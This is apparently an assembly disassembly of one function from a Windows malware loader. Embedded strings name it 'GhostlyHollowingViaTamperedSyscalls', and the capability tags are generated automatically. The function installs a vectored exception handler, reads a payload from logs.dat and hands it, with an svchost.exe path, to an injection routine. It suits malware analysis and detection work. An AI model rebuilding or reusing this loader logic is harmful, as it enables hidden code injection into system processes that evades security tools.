Function at 0x140001770
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x280], rax
lea rcx, [0x140005670]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rdx, [0x1400020a0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [0x140005668], rax
test rax, rax
jne 0x14000182b
lea rbx, str.C:UsersReverserDesktopinfectedGhostlyHollowingViaTamperedSyscalls_mainGhostlyHollowingViaTamperedSyscallsGhostlyHollowingViaTamperedSyscallsTamperedSyscallls.c
mov rcx, rbx
lea edx, [rax + 0x2f]
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rcx, rbx
test rax, rax
je 0x1400017e6
mov edx, 0x2f
jmp 0x1400017fe
mov edx, 0x5c
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
test rax, rax
je 0x140001808
mov edx, 0x5c
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
lea rbx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, pe_nt_image_headers64
lea rcx, str.____AddVectoredExceptionHandler___ws._d__Failed_With_Error:__d__n
mov r9d, eax
mov rdx, rbx
call fcn.140001a60
jmp 0x140001a18
movaps xmm1, xmmword [0x140003320]
lea rcx, [rsp + 0xb0]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x80], xmm1
movaps xmm1, xmmword [0x140003340]
xor eax, eax
movups xmmword [rsp + 0x50], xmm0
xor ebp, ebp
xor edx, edx
movaps xmm0, xmmword [str.C:Windows_system32_svchost.exe]
mov r8d, 0x1c8
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [0x140003330]
movaps xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x60], rax
movaps xmmword [rsp + 0xa0], xmm1
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x30], rbp
lea rcx, str.C:UsersReverserDesktopinfectedlogs.dat
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov dword [rsp + 0x48], ebp
mov ebx, ebp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001a18
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp eax, 0xffffffff
je 0x1400019f6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
lea edx, [rbp + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x1400019f6
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rbp
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400019f6
cmp edi, dword [rsp + 0x48]
jne 0x1400019f6
mov rcx, rsi
mov dword [rsp + 0x40], edi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x140001a18
mov r8, qword [rsp + 0x40]
lea r9, [rsp + 0x50]
mov rdx, rbx
lea rcx, [rsp + 0x70]
call section..text
test eax, eax
je 0x140001a18
cmp qword [0x140005668], rbp
je 0x140001a18
lea rcx, [0x140005670]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov rcx, qword [0x140005668]
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
test eax, eax
jne 0x1400019f2
lea rbx, str.C:UsersReverserDesktopinfectedGhostlyHollowingViaTamperedSyscalls_mainGhostlyHollowingViaTamperedSyscallsGhostlyHollowingViaTamperedSyscallsTamperedSyscallls.c
mov rcx, rbx
lea edx, [rbp + 0x2f]
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rcx, rbx
test rax, rax
je 0x1400019b0
lea edx, [rbp + 0x2f]
jmp 0x1400019c8
mov edx, 0x5c
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
test rax, rax
je 0x1400019d2
mov edx, 0x5c
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
lea rbx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x107
lea rcx, str.____RemoveVectoredExceptionHandler___ws._d__Failed_With_Error:__d__n
mov r9d, eax
mov rdx, rbx
call fcn.140001a60
jmp 0x140001a18
xor eax, eax
jmp 0x140001a1d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x140001a18
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400021a0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret